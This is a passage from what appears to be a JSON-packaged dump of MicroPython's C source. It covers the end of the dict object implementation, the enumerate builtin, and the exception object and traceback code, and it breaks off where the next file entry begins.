mp_check_self(MP_OBJ_IS_TYPE(self_in, &dict_view_type));\n    mp_obj_dict_view_t *self = MP_OBJ_TO_PTR(self_in);\n    bool first = true;\n    mp_print_str(print, mp_dict_view_names[self->kind]);\n    mp_print_str(print, \"([\");\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t self_iter = dict_view_getiter(self_in, &iter_buf);\n    mp_obj_t next = MP_OBJ_NULL;\n    while ((next = dict_view_it_iternext(self_iter)) != MP_OBJ_STOP_ITERATION) {\n        if (!first) {\n            mp_print_str(print, \", \");\n        }\n        first = false;\n        mp_obj_print_helper(print, next, PRINT_REPR);\n    }\n    mp_print_str(print, \"])\");\n}\n\nSTATIC mp_obj_t dict_view_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    // only supported for the 'keys' kind until sets and dicts are refactored\n    mp_obj_dict_view_t *o = MP_OBJ_TO_PTR(lhs_in);\n    if (o->kind != MP_DICT_VIEW_KEYS) {\n        return MP_OBJ_NULL; // op not supported\n    }\n    if (op != MP_BINARY_OP_IN) {\n        return MP_OBJ_NULL; // op not supported\n    }\n    return dict_binary_op(op, o->dict, rhs_in);\n}\n\nSTATIC const mp_obj_type_t dict_view_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_dict_view,\n    .print = dict_view_print,\n    .binary_op = dict_view_binary_op,\n    .getiter = dict_view_getiter,\n};\n\nSTATIC mp_obj_t mp_obj_new_dict_view(mp_obj_t dict, mp_dict_view_kind_t kind) {\n    mp_obj_dict_view_t *o = m_new_obj(mp_obj_dict_view_t);\n    o->base.type = &dict_view_type;\n    o->dict = dict;\n    o->kind = kind;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t dict_view(mp_obj_t self_in, mp_dict_view_kind_t kind) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    return mp_obj_new_dict_view(self_in, kind);\n}\n\nSTATIC mp_obj_t dict_items(mp_obj_t self_in) {\n    return dict_view(self_in, MP_DICT_VIEW_ITEMS);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_items_obj, dict_items);\n\nSTATIC mp_obj_t dict_keys(mp_obj_t self_in) {\n    return dict_view(self_in, MP_DICT_VIEW_KEYS);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_keys_obj, dict_keys);\n\nSTATIC mp_obj_t dict_values(mp_obj_t self_in) {\n    return dict_view(self_in, MP_DICT_VIEW_VALUES);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_values_obj, dict_values);\n\n/******************************************************************************/\n/* dict constructors & public C API                                           */\n\nSTATIC const mp_rom_map_elem_t dict_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&dict_clear_obj) },\n    { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&dict_copy_obj) },\n    { MP_ROM_QSTR(MP_QSTR_fromkeys), MP_ROM_PTR(&dict_fromkeys_obj) },\n    { MP_ROM_QSTR(MP_QSTR_get), MP_ROM_PTR(&dict_get_obj) },\n    { MP_ROM_QSTR(MP_QSTR_items), MP_ROM_PTR(&dict_items_obj) },\n    { MP_ROM_QSTR(MP_QSTR_keys), MP_ROM_PTR(&dict_keys_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&dict_pop_obj) },\n    { MP_ROM_QSTR(MP_QSTR_popitem), MP_ROM_PTR(&dict_popitem_obj) },\n    { MP_ROM_QSTR(MP_QSTR_setdefault), MP_ROM_PTR(&dict_setdefault_obj) },\n    { MP_ROM_QSTR(MP_QSTR_update), MP_ROM_PTR(&dict_update_obj) },\n    { MP_ROM_QSTR(MP_QSTR_values), MP_ROM_PTR(&dict_values_obj) },\n    { MP_ROM_QSTR(MP_QSTR___getitem__), MP_ROM_PTR(&mp_op_getitem_obj) },\n    { MP_ROM_QSTR(MP_QSTR___setitem__), MP_ROM_PTR(&mp_op_setitem_obj) },\n    { MP_ROM_QSTR(MP_QSTR___delitem__), MP_ROM_PTR(&mp_op_delitem_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(dict_locals_dict, dict_locals_dict_table);\n\nconst mp_obj_type_t mp_type_dict = {\n    { &mp_type_type },\n    .name = MP_QSTR_dict,\n    .print = dict_print,\n    .make_new = dict_make_new,\n    .unary_op = dict_unary_op,\n    .binary_op = dict_binary_op,\n    .subscr = dict_subscr,\n    .getiter = dict_getiter,\n    .locals_dict = (mp_obj_dict_t*)&dict_locals_dict,\n};\n\n#if MICROPY_PY_COLLECTIONS_ORDEREDDICT\nconst mp_obj_type_t mp_type_ordereddict = {\n    { &mp_type_type },\n    .name = MP_QSTR_OrderedDict,\n    .print = dict_print,\n    .make_new = dict_make_new,\n    .unary_op = dict_unary_op,\n    .binary_op = dict_binary_op,\n    .subscr = dict_subscr,\n    .getiter = dict_getiter,\n    .parent = &mp_type_dict,\n    .locals_dict = (mp_obj_dict_t*)&dict_locals_dict,\n};\n#endif\n\nvoid mp_obj_dict_init(mp_obj_dict_t *dict, size_t n_args) {\n    dict->base.type = &mp_type_dict;\n    mp_map_init(&dict->map, n_args);\n}\n\nmp_obj_t mp_obj_new_dict(size_t n_args) {\n    mp_obj_dict_t *o = m_new_obj(mp_obj_dict_t);\n    mp_obj_dict_init(o, n_args);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nsize_t mp_obj_dict_len(mp_obj_t self_in) {\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    return self->map.used;\n}\n\nmp_obj_t mp_obj_dict_store(mp_obj_t self_in, mp_obj_t key, mp_obj_t value) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_map_lookup(&self->map, key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value;\n    return self_in;\n}\n\nmp_obj_t mp_obj_dict_delete(mp_obj_t self_in, mp_obj_t key) {\n    mp_obj_t args[2] = {self_in, key};\n    dict_get_helper(2, args, MP_MAP_LOOKUP_REMOVE_IF_FOUND);\n    return self_in;\n}\n\nmp_map_t *mp_obj_dict_get_map(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    return &self->map;\n}\n"
  },
  {
    "path": "micropython/source/py/objenumerate.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_ENUMERATE\n\ntypedef struct _mp_obj_enumerate_t {\n    mp_obj_base_t base;\n    mp_obj_t iter;\n    mp_int_t cur;\n} mp_obj_enumerate_t;\n\nSTATIC mp_obj_t enumerate_iternext(mp_obj_t self_in);\n\nSTATIC mp_obj_t enumerate_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n#if MICROPY_CPYTHON_COMPAT\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_iterable, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_start, MP_ARG_INT, {.u_int = 0} },\n    };\n\n    // parse args\n    struct {\n        mp_arg_val_t iterable, start;\n    } arg_vals;\n    mp_arg_parse_all_kw_array(n_args, n_kw, args,\n        MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&arg_vals);\n\n    // create enumerate object\n    mp_obj_enumerate_t *o = m_new_obj(mp_obj_enumerate_t);\n    o->base.type = type;\n    o->iter = mp_getiter(arg_vals.iterable.u_obj, NULL);\n    o->cur = arg_vals.start.u_int;\n#else\n    (void)n_kw;\n    mp_obj_enumerate_t *o = m_new_obj(mp_obj_enumerate_t);\n    o->base.type = type;\n    o->iter = mp_getiter(args[0], NULL);\n    o->cur = n_args > 1 ? mp_obj_get_int(args[1]) : 0;\n#endif\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\nconst mp_obj_type_t mp_type_enumerate = {\n    { &mp_type_type },\n    .name = MP_QSTR_enumerate,\n    .make_new = enumerate_make_new,\n    .iternext = enumerate_iternext,\n    .getiter = mp_identity_getiter,\n};\n\nSTATIC mp_obj_t enumerate_iternext(mp_obj_t self_in) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_enumerate));\n    mp_obj_enumerate_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t next = mp_iternext(self->iter);\n    if (next == MP_OBJ_STOP_ITERATION) {\n        return MP_OBJ_STOP_ITERATION;\n    } else {\n        mp_obj_t items[] = {MP_OBJ_NEW_SMALL_INT(self->cur++), next};\n        return mp_obj_new_tuple(2, items);\n    }\n}\n\n#endif // MICROPY_PY_BUILTINS_ENUMERATE\n"
  },
  {
    "path": "micropython/source/py/objexcept.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <stdio.h>\n\n#include \"py/mpstate.h\"\n#include \"py/objlist.h\"\n#include \"py/objstr.h\"\n#include \"py/objtuple.h\"\n#include \"py/objtype.h\"\n#include \"py/runtime.h\"\n#include \"py/gc.h\"\n#include \"py/mperrno.h\"\n\n// Instance of MemoryError exception - needed by mp_malloc_fail\nconst mp_obj_exception_t mp_const_MemoryError_obj = {{&mp_type_MemoryError}, 0, 0, NULL, (mp_obj_tuple_t*)&mp_const_empty_tuple_obj};\n\n// Optionally allocated buffer for storing the first argument of an exception\n// allocated when the heap is locked.\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n#   if MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE > 0\n#define mp_emergency_exception_buf_size MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE\n\nvoid mp_init_emergency_exception_buf(void) {\n    // Nothing to do since the buffer was declared statically. We put this\n    // definition here so that the calling code can call this function\n    // regardless of how its configured (makes the calling code a bit cleaner).\n}\n\n#else\n#define mp_emergency_exception_buf_size MP_STATE_VM(mp_emergency_exception_buf_size)\n\nvoid mp_init_emergency_exception_buf(void) {\n    mp_emergency_exception_buf_size = 0;\n    MP_STATE_VM(mp_emergency_exception_buf) = NULL;\n}\n\nmp_obj_t mp_alloc_emergency_exception_buf(mp_obj_t size_in) {\n    mp_int_t size = mp_obj_get_int(size_in);\n    void *buf = NULL;\n    if (size > 0) {\n        buf = m_new(byte, size);\n    }\n\n    int old_size = mp_emergency_exception_buf_size;\n    void *old_buf = MP_STATE_VM(mp_emergency_exception_buf);\n\n    // Update the 2 variables atomically so that an interrupt can't occur\n    // between the assignments.\n    mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n    mp_emergency_exception_buf_size = size;\n    MP_STATE_VM(mp_emergency_exception_buf) = buf;\n    MICROPY_END_ATOMIC_SECTION(atomic_state);\n\n    if (old_buf != NULL) {\n        m_del(byte, old_buf, old_size);\n    }\n    return mp_const_none;\n}\n#endif\n#endif  // MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n\n// Instance of GeneratorExit exception - needed by generator.close()\n// This would belong to objgenerator.c, but to keep mp_obj_exception_t\n// definition module-private so far, have it here.\nconst mp_obj_exception_t mp_const_GeneratorExit_obj = {{&mp_type_GeneratorExit}, 0, 0, NULL, (mp_obj_tuple_t*)&mp_const_empty_tuple_obj};\n\nSTATIC void mp_obj_exception_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    mp_obj_exception_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_print_kind_t k = kind & ~PRINT_EXC_SUBCLASS;\n    bool is_subclass = kind & PRINT_EXC_SUBCLASS;\n    if (!is_subclass && (k == PRINT_REPR || k == PRINT_EXC)) {\n        mp_print_str(print, qstr_str(o->base.type->name));\n    }\n\n    if (k == PRINT_EXC) {\n        mp_print_str(print, \": \");\n    }\n\n    if (k == PRINT_STR || k == PRINT_EXC) {\n        if (o->args == NULL || o->args->len == 0) {\n            mp_print_str(print, \"\");\n            return;\n        } else if (o->args->len == 1) {\n            #if MICROPY_PY_UERRNO\n            // try to provide a nice OSError error message\n            if (o->base.type == &mp_type_OSError && MP_OBJ_IS_SMALL_INT(o->args->items[0])) {\n                qstr qst = mp_errno_to_str(o->args->items[0]);\n                if (qst != MP_QSTR_NULL) {\n                    mp_printf(print, \"[Errno %d] %q\", MP_OBJ_SMALL_INT_VALUE(o->args->items[0]), qst);\n                    return;\n                }\n            }\n            #endif\n            mp_obj_print_helper(print, o->args->items[0], PRINT_STR);\n            return;\n        }\n    }\n    mp_obj_tuple_print(print, MP_OBJ_FROM_PTR(o->args), kind);\n}\n\nmp_obj_t mp_obj_exception_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 0, MP_OBJ_FUN_ARGS_MAX, false);\n    mp_obj_exception_t *o = m_new_obj_var_maybe(mp_obj_exception_t, mp_obj_t, 0);\n    if (o == NULL) {\n        // Couldn't allocate heap memory; use local data instead.\n        o = &MP_STATE_VM(mp_emergency_exception_obj);\n        // We can't store any args.\n        o->args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj;\n    } else {\n        o->args = MP_OBJ_TO_PTR(mp_obj_new_tuple(n_args, args));\n    }\n    o->base.type = type;\n    o->traceback_data = NULL;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n// Get exception \"value\" - that is, first argument, or None\nmp_obj_t mp_obj_exception_get_value(mp_obj_t self_in) {\n    mp_obj_exception_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->args->len == 0) {\n        return mp_const_none;\n    } else {\n        return self->args->items[0];\n    }\n}\n\nSTATIC void exception_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    mp_obj_exception_t *self = MP_OBJ_TO_PTR(self_in);\n    if (dest[0] != MP_OBJ_NULL) {\n        // store/delete attribute\n        if (attr == MP_QSTR___traceback__ && dest[1] == mp_const_none) {\n            // We allow 'exc.__traceback__ = None' assignment as low-level\n            // optimization of pre-allocating exception instance and raising\n            // it repeatedly - this avoids memory allocation during raise.\n            // However, uPy will keep adding traceback entries to such\n            // exception instance, so before throwing it, traceback should\n            // be cleared like above.\n            self->traceback_len = 0;\n            dest[0] = MP_OBJ_NULL; // indicate success\n        }\n        return;\n    }\n    if (attr == MP_QSTR_args) {\n        dest[0] = MP_OBJ_FROM_PTR(self->args);\n    } else if (self->base.type == &mp_type_StopIteration && attr == MP_QSTR_value) {\n        dest[0] = mp_obj_exception_get_value(self_in);\n    }\n}\n\nSTATIC mp_obj_t exc___init__(size_t n_args, const mp_obj_t *args) {\n    mp_obj_exception_t *self = MP_OBJ_TO_PTR(args[0]);\n    mp_obj_t argst = mp_obj_new_tuple(n_args - 1, args + 1);\n    self->args = MP_OBJ_TO_PTR(argst);\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(exc___init___obj, 1, MP_OBJ_FUN_ARGS_MAX, exc___init__);\n\nSTATIC const mp_rom_map_elem_t exc_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___init__), MP_ROM_PTR(&exc___init___obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(exc_locals_dict, exc_locals_dict_table);\n\nconst mp_obj_type_t mp_type_BaseException = {\n    { &mp_type_type },\n    .name = MP_QSTR_BaseException,\n    .print = mp_obj_exception_print,\n    .make_new = mp_obj_exception_make_new,\n    .attr = exception_attr,\n    .locals_dict = (mp_obj_dict_t*)&exc_locals_dict,\n};\n\n#define MP_DEFINE_EXCEPTION(exc_name, base_name) \\\nconst mp_obj_type_t mp_type_ ## exc_name = { \\\n    { &mp_type_type }, \\\n    .name = MP_QSTR_ ## exc_name, \\\n    .print = mp_obj_exception_print, \\\n    .make_new = mp_obj_exception_make_new, \\\n    .attr = exception_attr, \\\n    .parent = &mp_type_ ## base_name, \\\n};\n\n// List of all exceptions, arranged as in the table at:\n// http://docs.python.org/3/library/exceptions.html\nMP_DEFINE_EXCEPTION(SystemExit, BaseException)\nMP_DEFINE_EXCEPTION(KeyboardInterrupt, BaseException)\nMP_DEFINE_EXCEPTION(GeneratorExit, BaseException)\nMP_DEFINE_EXCEPTION(Exception, BaseException)\n  #if MICROPY_PY_ASYNC_AWAIT\n  MP_DEFINE_EXCEPTION(StopAsyncIteration, Exception)\n  #endif\n  MP_DEFINE_EXCEPTION(StopIteration, Exception)\n  MP_DEFINE_EXCEPTION(ArithmeticError, Exception)\n    //MP_DEFINE_EXCEPTION(FloatingPointError, ArithmeticError)\n    MP_DEFINE_EXCEPTION(OverflowError, ArithmeticError)\n    MP_DEFINE_EXCEPTION(ZeroDivisionError, ArithmeticError)\n  MP_DEFINE_EXCEPTION(AssertionError, Exception)\n  MP_DEFINE_EXCEPTION(AttributeError, Exception)\n  //MP_DEFINE_EXCEPTION(BufferError, Exception)\n  //MP_DEFINE_EXCEPTION(EnvironmentError, Exception) use OSError instead\n  MP_DEFINE_EXCEPTION(EOFError, Exception)\n  MP_DEFINE_EXCEPTION(ImportError, Exception)\n  //MP_DEFINE_EXCEPTION(IOError, Exception) use OSError instead\n  MP_DEFINE_EXCEPTION(LookupError, Exception)\n    MP_DEFINE_EXCEPTION(IndexError, LookupError)\n    MP_DEFINE_EXCEPTION(KeyError, LookupError)\n  MP_DEFINE_EXCEPTION(MemoryError, Exception)\n  MP_DEFINE_EXCEPTION(NameError, Exception)\n    /*\n    MP_DEFINE_EXCEPTION(UnboundLocalError, NameError)\n    */\n  MP_DEFINE_EXCEPTION(OSError, Exception)\n#if MICROPY_PY_BUILTINS_TIMEOUTERROR\n    MP_DEFINE_EXCEPTION(TimeoutError, OSError)\n#endif\n    /*\n    MP_DEFINE_EXCEPTION(BlockingIOError, OSError)\n    MP_DEFINE_EXCEPTION(ChildProcessError, OSError)\n    MP_DEFINE_EXCEPTION(ConnectionError, OSError)\n      MP_DEFINE_EXCEPTION(BrokenPipeError, ConnectionError)\n      MP_DEFINE_EXCEPTION(ConnectionAbortedError, ConnectionError)\n      MP_DEFINE_EXCEPTION(ConnectionRefusedError, ConnectionError)\n      MP_DEFINE_EXCEPTION(ConnectionResetError, ConnectionError)\n    MP_DEFINE_EXCEPTION(InterruptedError, OSError)\n    MP_DEFINE_EXCEPTION(IsADirectoryError, OSError)\n    MP_DEFINE_EXCEPTION(NotADirectoryError, OSError)\n    MP_DEFINE_EXCEPTION(PermissionError, OSError)\n    MP_DEFINE_EXCEPTION(ProcessLookupError, OSError)\n    MP_DEFINE_EXCEPTION(FileExistsError, OSError)\n    MP_DEFINE_EXCEPTION(FileNotFoundError, OSError)\n    MP_DEFINE_EXCEPTION(ReferenceError, Exception)\n    */\n  MP_DEFINE_EXCEPTION(RuntimeError, Exception)\n    MP_DEFINE_EXCEPTION(NotImplementedError, RuntimeError)\n  MP_DEFINE_EXCEPTION(SyntaxError, Exception)\n    MP_DEFINE_EXCEPTION(IndentationError, SyntaxError)\n    /*\n      MP_DEFINE_EXCEPTION(TabError, IndentationError)\n      */\n  //MP_DEFINE_EXCEPTION(SystemError, Exception)\n  MP_DEFINE_EXCEPTION(TypeError, Exception)\n#if MICROPY_EMIT_NATIVE\n    MP_DEFINE_EXCEPTION(ViperTypeError, TypeError)\n#endif\n  MP_DEFINE_EXCEPTION(ValueError, Exception)\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n    MP_DEFINE_EXCEPTION(UnicodeError, ValueError)\n    //TODO: Implement more UnicodeError subclasses which take arguments\n#endif\n  /*\n  MP_DEFINE_EXCEPTION(Warning, Exception)\n    MP_DEFINE_EXCEPTION(DeprecationWarning, Warning)\n    MP_DEFINE_EXCEPTION(PendingDeprecationWarning, Warning)\n    MP_DEFINE_EXCEPTION(RuntimeWarning, Warning)\n    MP_DEFINE_EXCEPTION(SyntaxWarning, Warning)\n    MP_DEFINE_EXCEPTION(UserWarning, Warning)\n    MP_DEFINE_EXCEPTION(FutureWarning, Warning)\n    MP_DEFINE_EXCEPTION(ImportWarning, Warning)\n    MP_DEFINE_EXCEPTION(UnicodeWarning, Warning)\n    MP_DEFINE_EXCEPTION(BytesWarning, Warning)\n    MP_DEFINE_EXCEPTION(ResourceWarning, Warning)\n    */\n\nmp_obj_t mp_obj_new_exception(const mp_obj_type_t *exc_type) {\n    return mp_obj_new_exception_args(exc_type, 0, NULL);\n}\n\n// \"Optimized\" version for common(?) case of having 1 exception arg\nmp_obj_t mp_obj_new_exception_arg1(const mp_obj_type_t *exc_type, mp_obj_t arg) {\n    return mp_obj_new_exception_args(exc_type, 1, &arg);\n}\n\nmp_obj_t mp_obj_new_exception_args(const mp_obj_type_t *exc_type, size_t n_args, const mp_obj_t *args) {\n    assert(exc_type->make_new == mp_obj_exception_make_new);\n    return exc_type->make_new(exc_type, n_args, 0, args);\n}\n\nmp_obj_t mp_obj_new_exception_msg(const mp_obj_type_t *exc_type, const char *msg) {\n    return mp_obj_new_exception_msg_varg(exc_type, msg);\n}\n\nmp_obj_t mp_obj_new_exception_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...) {\n    // check that the given type is an exception type\n    assert(exc_type->make_new == mp_obj_exception_make_new);\n\n    // make exception object\n    mp_obj_exception_t *o = m_new_obj_var_maybe(mp_obj_exception_t, mp_obj_t, 0);\n    if (o == NULL) {\n        // Couldn't allocate heap memory; use local data instead.\n        // Unfortunately, we won't be able to format the string...\n        o = &MP_STATE_VM(mp_emergency_exception_obj);\n        o->base.type = exc_type;\n        o->traceback_data = NULL;\n        o->args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj;\n\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n        // If the user has provided a buffer, then we try to create a tuple\n        // of length 1, which has a string object and the string data.\n\n        if (mp_emergency_exception_buf_size > (sizeof(mp_obj_tuple_t) + sizeof(mp_obj_str_t) + sizeof(mp_obj_t))) {\n            mp_obj_tuple_t *tuple = (mp_obj_tuple_t *)MP_STATE_VM(mp_emergency_exception_buf);\n            mp_obj_str_t *str = (mp_obj_str_t *)&tuple->items[1];\n\n            tuple->base.type = &mp_type_tuple;\n            tuple->len = 1;\n            tuple->items[0] = MP_OBJ_FROM_PTR(str);\n\n            byte *str_data = (byte *)&str[1];\n            size_t max_len = (byte*)MP_STATE_VM(mp_emergency_exception_buf) + mp_emergency_exception_buf_size\n                         - str_data;\n\n            vstr_t vstr;\n            vstr_init_fixed_buf(&vstr, max_len, (char *)str_data);\n\n            va_list ap;\n            va_start(ap, fmt);\n            vstr_vprintf(&vstr, fmt, ap);\n            va_end(ap);\n\n            str->base.type = &mp_type_str;\n            str->hash = qstr_compute_hash(str_data, str->len);\n            str->len = vstr.len;\n            str->data = str_data;\n\n            o->args = tuple;\n\n            size_t offset = &str_data[str->len] - (byte*)MP_STATE_VM(mp_emergency_exception_buf);\n            offset += sizeof(void *) - 1;\n            offset &= ~(sizeof(void *) - 1);\n\n            if ((mp_emergency_exception_buf_size - offset) > (sizeof(o->traceback_data[0]) * 3)) {\n                // We have room to store some traceback.\n                o->traceback_data = (size_t*)((byte *)MP_STATE_VM(mp_emergency_exception_buf) + offset);\n                o->traceback_alloc = ((byte*)MP_STATE_VM(mp_emergency_exception_buf) + mp_emergency_exception_buf_size - (byte *)o->traceback_data) / sizeof(o->traceback_data[0]);\n                o->traceback_len = 0;\n            }\n        }\n#endif // MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n    } else {\n        o->base.type = exc_type;\n        o->traceback_data = NULL;\n        o->args = MP_OBJ_TO_PTR(mp_obj_new_tuple(1, NULL));\n\n        assert(fmt != NULL);\n        {\n            if (strchr(fmt, '%') == NULL) {\n                // no formatting substitutions, avoid allocating vstr.\n                o->args->items[0] = mp_obj_new_str(fmt, strlen(fmt), false);\n            } else {\n                // render exception message and store as .args[0]\n                va_list ap;\n                vstr_t vstr;\n                vstr_init(&vstr, 16);\n                va_start(ap, fmt);\n                vstr_vprintf(&vstr, fmt, ap);\n                va_end(ap);\n                o->args->items[0] = mp_obj_new_str_from_vstr(&mp_type_str, &vstr);\n            }\n        }\n    }\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\n// return true if the given object is an exception type\nbool mp_obj_is_exception_type(mp_obj_t self_in) {\n    if (MP_OBJ_IS_TYPE(self_in, &mp_type_type)) {\n        // optimisation when self_in is a builtin exception\n        mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in);\n        if (self->make_new == mp_obj_exception_make_new) {\n            return true;\n        }\n    }\n    return mp_obj_is_subclass_fast(self_in, MP_OBJ_FROM_PTR(&mp_type_BaseException));\n}\n\n// return true if the given object is an instance of an exception type\nbool mp_obj_is_exception_instance(mp_obj_t self_in) {\n    return mp_obj_is_exception_type(MP_OBJ_FROM_PTR(mp_obj_get_type(self_in)));\n}\n\n// Return true if exception (type or instance) is a subclass of given\n// exception type.  Assumes exc_type is a subclass of BaseException, as\n// defined by mp_obj_is_exception_type(exc_type).\nbool mp_obj_exception_match(mp_obj_t exc, mp_const_obj_t exc_type) {\n    // if exc is an instance of an exception, then extract and use its type\n    if (mp_obj_is_exception_instance(exc)) {\n        exc = MP_OBJ_FROM_PTR(mp_obj_get_type(exc));\n    }\n    return mp_obj_is_subclass_fast(exc, exc_type);\n}\n\n// traceback handling functions\n\n#define GET_NATIVE_EXCEPTION(self, self_in) \\\n    /* make sure self_in is an exception instance */ \\\n    assert(mp_obj_is_exception_instance(self_in)); \\\n    mp_obj_exception_t *self; \\\n    if (mp_obj_is_native_exception_instance(self_in)) { \\\n        self = MP_OBJ_TO_PTR(self_in); \\\n    } else { \\\n        self = MP_OBJ_TO_PTR(((mp_obj_instance_t*)MP_OBJ_TO_PTR(self_in))->subobj[0]); \\\n    }\n\nvoid mp_obj_exception_clear_traceback(mp_obj_t self_in) {\n    GET_NATIVE_EXCEPTION(self, self_in);\n    // just set the traceback to the null object\n    // we don't want to call any memory management functions here\n    self->traceback_data = NULL;\n}\n\nvoid mp_obj_exception_add_traceback(mp_obj_t self_in, qstr file, size_t line, qstr block) {\n    GET_NATIVE_EXCEPTION(self, self_in);\n\n    // append this traceback info to traceback data\n    // if memory allocation fails (eg because gc is locked), just return\n\n    if (self->traceback_data == NULL) {\n        self->traceback_data = m_new_maybe(size_t, 3);\n        if (self->traceback_data == NULL) {\n            return;\n        }\n        self->traceback_alloc = 3;\n        self->traceback_len = 0;\n    } else if (self->traceback_len + 3 > self->traceback_alloc) {\n        // be conservative with growing traceback data\n        size_t *tb_data = m_renew_maybe(size_t, self->traceback_data, self->traceback_alloc, self->traceback_alloc + 3, true);\n        if (tb_data == NULL) {\n            return;\n        }\n        self->traceback_data = tb_data;\n        self->traceback_alloc += 3;\n    }\n\n    size_t *tb_data = &self->traceback_data[self->traceback_len];\n    self->traceback_len += 3;\n    tb_data[0] = file;\n    tb_data[1] = line;\n    tb_data[2] = block;\n}\n\nvoid mp_obj_exception_get_traceback(mp_obj_t self_in, size_t *n, size_t **values) {\n    GET_NATIVE_EXCEPTION(self, self_in);\n\n    if (self->traceback_data == NULL) {\n        *n = 0;\n        *values = NULL;\n    } else {\n        *n = self->traceback_len;\n        *values = self->traceback_data;\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/objfilter.c",
